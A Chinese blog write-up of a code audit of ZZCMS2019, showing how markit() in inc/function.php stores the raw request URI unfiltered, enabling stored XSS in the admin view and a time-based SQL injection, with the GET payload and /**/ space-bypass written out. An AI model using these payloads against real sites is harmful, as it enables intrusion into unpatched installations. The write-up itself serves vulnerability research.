sql server cast函数_原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

456abcd0fde08d68c62788e85896349f.png

前言 这套CMS被大手子们审计烂了。。。我这个菜鸡只能抢口剩汤喝喝。。 存储型XSS

这套CMS搭建完成后是这样的

78130b4ab2d9fefd2920c7a0bf8f17e4.png 先从功能点入手,注册个账号,看看有什么权限 7e22aa57c53acfaec9a6a765db5cf03b.png 用户中心显示的功能比较少,但是目录已经出来了 domain/user/ 进目录看看文件,其中ask.php 这个文件引起了我的注意 75e1f4d4afee4b5a7926403c60d1914a.png直接访问看看 e6f71eafa05036716fad231b115ea0f8.png 哦豁?空的?眉头一皱发现没那么简单 就从这个文件开始入手 首先在48行左右发现了 GET 传递的 do 参数
<?php $do=isset($_GET['do'])?$_GET['do']:'';switch ($do){case "add";add();break;case "modify";modify();break;}如果找不到临时目录的的可以这样操作:在地址栏输入%temp%就行了
分别看下两个函数干了什么 1b9be8c34d356235f13badb2130b4f62.png
//add函数function add(){$tablename="zzcms_ask";include("checkaddinfo.php");?><div class="admintitle">发布问答信息div>  <form action="?do=save" method="post" name="myform" id="myform" onSubmit="return CheckForm();">        <table width="100%" border="0" cellpadding="3" cellspacing="1">          <tr>             <td width="18%" align="right" class="border2">类别<font color="#FF0000">(必填)font>:td>            <td width="82%" class="border2">               <?php $sql = "select * from zzcms_askclass where parentid<>0 order by xuhao asc";$rs=query($sql);?><script language = "JavaScript" type="text/JavaScript">var onecount;subcat = new Array();        <?php          $count = 0;        while($row = fetch_array($rs)){        ?>subcat[<?php  echo $count?>] = new Array("<?php  echo trim($row["classname"])?>","<?php  echo trim($row["parentid"])?>","<?php  echo trim($row["classid"])?>");        <?php         $count = $count + 1;       }        ?>onecount=<?php  echo $count ?>;function changelocation(locationid){ document.myform.smallclassid.length = 1;     for (i=0;i < onecount; i++){            if (subcat[i][1] == locationid){                 document.myform.smallclassid.options[document.myform.smallclassid.length] = new Option(subcat[i][0], subcat[i][2]);            }                }    }script> <select name="bigclassid" class="biaodan" onChange="changelocation(document.myform.bigclassid.options[document.myform.bigclassid.selectedIndex].value)" size="1">                <option value="" selected="selected">请选择大类别 option>                <?php   $sql = "select * from zzcms_askclass where  parentid=0 order by xuhao asc";    $rs=query($sql);  while($row = fetch_array($rs)){    ?>    <option value="<?php echo $row["classid"]?>"><?php  echo $row["classname"]?>option>  <?php    }    ?>                  select>         <select name="smallclassid"  class="biaodan">                <option value="0">不指定小类option>              select>td>          tr>          <tr>             <td align="right" class="border">标题<font color="#FF0000">(必填)font>:td>            <td class="border">       <input name="title" type="text" id="title" size="50" maxlength="255"  class="biaodan">       <span id="quote">span>       td>          tr>          <tr id="trcontent">             <td align="right" class="border2" >内容<font color="#FF0000">(必填)font>:td>            <td class="border2" > <textarea name="content" id="content">textarea>         <script type="text/javascript">CKEDITOR.replace('content');script>td>          tr>                   <tr id="trkeywords">            <td align="right" class="border" >悬赏积分:td>            <td class="border" ><select name="jifen" id="jifen">              <option value="0" selected="selected">0option>              <option value="5">5option>              <option value="10">10option>              <option value="20">20option>              <option value="30">30option>            select>      <?php              $rs=query("select totleRMB from zzcms_user where username='" .$_COOKIE["UserName"]. "'");    $row=fetch_array($rs);    echo "您的积分:".$row['totleRMB'];      ?>            td>          tr>                   <tr>             <td align="right" class="border"> td>            <td class="border"> <input name="Submit" type="submit" class="buttons" value="发布">              <input name="action" type="hidden"  value="add">td>          tr>        table>form><?php }
简单看了下没多大问题,再来看看第二个函数 b2852138596539677fa8c86634c2ffd8.png
//modify函数function modify(){global $username;?><div class="admintitle">修改问答信息div><?php $page = isset($_GET['page'])?$_GET['page']:1;checkid($page);$id = isset($_GET['id'])?$_GET['id']:0;checkid($id,1);$sqlzx="select * from zzcms_ask where id='$id'";$rszx =query($sqlzx); $rowzx = fetch_array($rszx);if ($id<>0 && $rowzx["editor"]<>$username) {markit();showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');}?>    .......省略
首先获取了下 pageid 并使用 checkid 函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用 markit(); 函数,并且返回警告信息 161e5c5ba9c6cf36807612d26fc6c53c.png 9082684f738f7aa738a6a100d1c4be16.png 另外注意到在 showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!'); 这行上面调用了 markit() 这个函数,跟进去看看 在 inc\function.php 的138行左右 876804c21708944580e1ef39bbdcb873.png
//$_SERVER['HTTP_REFERER'];//上页来源function markit(){    $userip = $_SERVER["REMOTE_ADDR"];    //$userip=getip();    $url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];    query("insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')");}//$url为当前页的URI(URL+参数),这个可控//$_COOKIE["UserName"]为cookies中的用户名,
拼接了 SQL语句,并且没有过滤 ,总结下目前情况
  1. 首先获取了下pageid并使用checkid函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit()函数,并且返回警告信息。
  2. 要触发markit()函数需要满足条件如下
    1. do参数为modify
    2. page参数不能为你发布的且为数字
    3. id参数同上
另外还需要注意在全局过滤函数中有这么一行
<?php //主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){die ("无效参数");//注意这里不能用js提示}
那么构造 payload 如下 domain/user/ask.php?do=modify&page=1&id=1&aaa= 然后使用 burpsuite 发包

可以看到触发了警告信息

5b750d2b6f1400246e2209e4e4099c88.png 当管理员查看不良操作时,熟悉的弹框就出来了 cef9395285e44e06c6f932d3e158c576.png SQL注入 还是 markit() 函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?

先看看这个query函数怎么执行的

3d472fa7a2f0605f89c25c96bf554bf1.png 可以看到直接带入 mysqli_query ,那么尝试构造下 payload 吧 原始SQL语句
insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')
既然只有 $url 可控,那么直接构造传入的URI就可以了,先直接让数据库执行 sleep() 函数 insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# 942c39459d58c4fd58f7e26da91ece50.png OK 成功,那么直接构造就行了
GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1

结果发现并没有执行

fbaf8a5bc038d8c3a7383e4cf2d9fae2.png

在函数中dump下$url看看原因

29469f5961c993f201580c0ead2a227d.png 发现被url中的空格截断了 78c65c4780883442181023a681985ae9.png

那么直接用注释/**/替换

41e0c454e937bb7c622a1550141f495f.png

成功睡眠5秒,证明存在SQL注入。

a0e08ef4056a39e0eac343b7791fd204.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值